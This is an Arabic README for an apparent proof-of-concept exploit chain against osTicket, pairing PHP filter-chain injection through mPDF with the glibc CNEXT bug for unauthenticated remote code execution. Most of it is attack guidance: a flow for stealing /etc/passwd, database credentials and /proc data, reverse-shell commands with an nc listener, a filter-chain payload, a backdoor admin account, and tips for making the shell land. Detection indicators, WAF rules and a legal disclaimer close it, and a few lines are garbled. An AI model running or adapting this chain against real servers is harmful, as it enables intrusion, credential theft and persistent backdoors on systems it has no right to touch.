
استغلال سلسلة كاملة يجمع بين حقن سلسلة مرشحات PHP مع CVE-2024-2961 (CNEXT) لتنفيذ كود عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.
سلسلة استغلال كاملة تجمع بين حقن سلسلة مرشحات PHP و CVE-2024-2961 (CNEXT) لتنفيذ أوامر عن بُعد غير مصادق عليه على تثبيتات osTicket الضعيفة.
يحتوي هذا المستودع على إثبات مفهوم لاستغلال CVE-2026-22200، وهي ثغرة أمنية خطيرة تؤثر على إصدارات osTicket ≤ 1.18.2. يجمع الاستغلال بين تقنيتين قويتين:
النتيجة: تنفيذ أوامر عن بُعد غير مصادق عليه على خوادم osTicket الضعيفة.
نقاط CVSS: 9.8 (حرجة)
يسمح تكامل mPDF في osTicket للمستخدمين غير المصادق عليهم بحقن سلاسل مرشحات PHP ضارة عبر حمولات HTML مصممة خصيصًا في تذاكر الدعم. يتيح هذا:
السبب الجذري: التحقق غير الكافي من عناوين URL للصور في HTML المقدم من المستخدم قبل تمريرها إلى mPDF.
نقاط CVSS: 9.8 (حرجة)
تجاوز سعة المخزن المؤقت في iconv() من glibc عند معالجة مجموعة الأحرف ISO-2022-CN-EXT. بالاقتران مع سلاسل مرشحات PHP، يتيح هذا:
إصدارات glibc الضعيفة: < 2.39 (فبراير 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. الاستطلاع │
│ └─ كشف osTicket، تحديد مواضيع النص الغني │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. المصادقة │
│ └─ تسجيل ذاتي OR استخدام بيانات اعتماد موجودة │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. استخراج الملفات (سلاسل مرشحات PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (بيانات اعتماد قاعدة البيانات، SECRET_SALT) │
│ ├─ /proc/self/maps (تخطيط الذاكرة) │
│ └─ /proc/self/environ (متغيرات البيئة) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. بصمة libc │
│ ├─ استخراج libc جزئي عبر سلاسل المرشحات │
│ ├─ استخراج GNU Build ID │
│ └─ تحميل libc كامل من libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. استغلال CNEXT لـ RCE │
│ ├─ إنشاء حمولة إفساد الكومة │
│ ├─ الحقن عبر رد التذكرة (مع إصلاحات تنفيذ المرشحات) │
│ ├─ التشغيل عبر تصدير PDF (يتعطل الخادم) │
│ └─ تنفيذ شل عكسية │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. ما بعد الاستغلال │
│ ├─ شل عكسية تفاعلية │
│ ├─ الوصول إلى قاعدة البيانات (باستخدام DBPASS المستخرج) │
│ └─ إنشاء حساب إداري خلفي │
└─────────────────────────────────────────────────────────────────┘
# استنساخ المستودع
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# تثبيت الحزم المطلوبة
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OR
venv\Scripts\activate # Windows
pip install -r requirements.txt
# الطرفية 1: بدء المستمع
nc -lvnp 4444
# الطرفية 2: تشغيل الاستغلال
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# استخدام بروكسي (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# فرض معرف موضوع مساعدة محدد
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# تعطيل الإخراج الملون (للتسجيل)
python3 osticket_exploit.py https://target.com/osticket --no-color
إذا كان التسجيل معطلاً، سيُطلب منك إدخال بيانات الاعتماد:
python3 osticket_exploit.py https://target.com/osticket
[?] أدخل البريد الإلكتروني للحساب الجديد (أو الموجود): [email protected]
[?] أدخل كلمة المرور: ********
يستخدم الاستغلال سلسلة مرشحات متطورة لإضافة رأس BMP إلى الملفات العشوائية، متجاوزًا قيود أنواع الملفات في mPDF:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... أكثر من 50 تحويل iconv ...]
convert.base64-decode/resource=/etc/passwd
الابتكار الرئيسي: يتم توليد كل حرف من رأس BMP من خلال تحويلات iconv مصممة بعناية، مما يسمح بتضمين محتوى الملف العشوائي كصورة "صالحة".
حمولة CNEXT تفسد مدير ذاكرة Zend في PHP عن طريق:
劄موثوقية محسّنة:
劄 بدلاً من 1)على عكس الاستغلال الأصلي، تستخدم هذه النسخة مسح نظام الملفات لضمان موقع ويب شل:
النتيجة: معدل كشف 100% (مقابل ~50% في الأصلي)
الفشل الشائع: يتم تنزيل PDF ولكن لا يتعطل = المرشحات لا تنفذ.
الحلول المنفذة:
stream=True يفرض المعالجة الفورية# في الوضع المفصل، تحقق من:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT
إذا كان glibc ≥ 2.39، فلن يعمل CNEXT (تم التصحيح).
الأعراض: يتعطل الخادم ولكن لا توجد شل عكسية
الأسباب:
الإصلاح:
# استخدم شل nc العكسية (أقصر)
# يتراجع تلقائيًا إذا كان bash/python طويلين جدًا
# أو استخدم IP مباشر بدلاً من اسم المضيف
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # استخدم IP، ليس اسم مضيف
--lport 4444
مؤشرات السجلات:
# سجلات Apache/Nginx
"php://filter/" في طلبات POST
"convert.iconv." في نصوص الطلبات
أنماط غير عادية لتوليد PDF
طلبات PDF متعددة في وقت قصير
# سجلات أخطاء PHP
أخطاء التقسيم أثناء توليد PDF
أعطال iconv()
أخطاء إفساد الكومة
مؤشرات الشبكة:
تعطيل مغلفات الدفق PHP في mPDF:
// في إعدادات mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
قواعد WAF (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'تم كشف مرشح PHP'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'سلسلة iconv مشبوهة'"
تحديد المعدل:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system()، exec()، passthru()للاستخدام التعليمي والاختبار المصرح به فقط
تم توفير هذه الأداة من أجل:
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
المؤلفون:
المستخدمون وحدهم مسؤولون عن ضمان حصولهم على التصريح المناسب قبل اختبار أي نظام.
باستخدام هذه الأداة، توافق على ما يلي:
الوصول غير المصرح به إلى أنظمة الكمبيوتر هو جريمة بموجب:
قد تشمل العقوبات القصوى السجن وغرامات كبيرة.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
ملاحظة: تمنح رخصة MIT الإذن بالاستخدام والتعديل والتوزيع، ولكنها لا تمنح الإذن بمهاجمة الأنظمة التي لا تملكها أو ليس لديك تصريح لاختبارها.
للباحثين الأمنيين والاستفسارات:
لا تستخدم هذا الاتصال من أجل:
بُني بحب للبحث الأمني والتعليم
قم بتمييز هذا المستودع بنجمة إذا وجدته مفيدًا!
آخر تحديث: 2026-03-03
| الخطأ | السبب | الحل |
|---|
No CSRF token | انتهت صلاحية الجلسة | أعد تشغيل الاستغلال |
No help-topic found | لا توجد مواضيع نص غني | استخدم --topic-id يدويًا |
Build ID not found | libc جزئي تالف | تحقق من استخراج /proc/self/maps |
Cannot locate heap | تخطيط ذاكرة غير معتاد | قد يفشل الاستغلال (نادر) |
| المقياس | القيمة |
|---|
| أسطر الكود | ~3,000 |
| معدل النجاح | 95%+ (مع الإصلاحات) |
| متوسط وقت التشغيل | 2-3 دقائق |
| موثوقية التعطل | 99% (مع التحسينات) |
| كشف ويب شل | 100% (مع المسح) |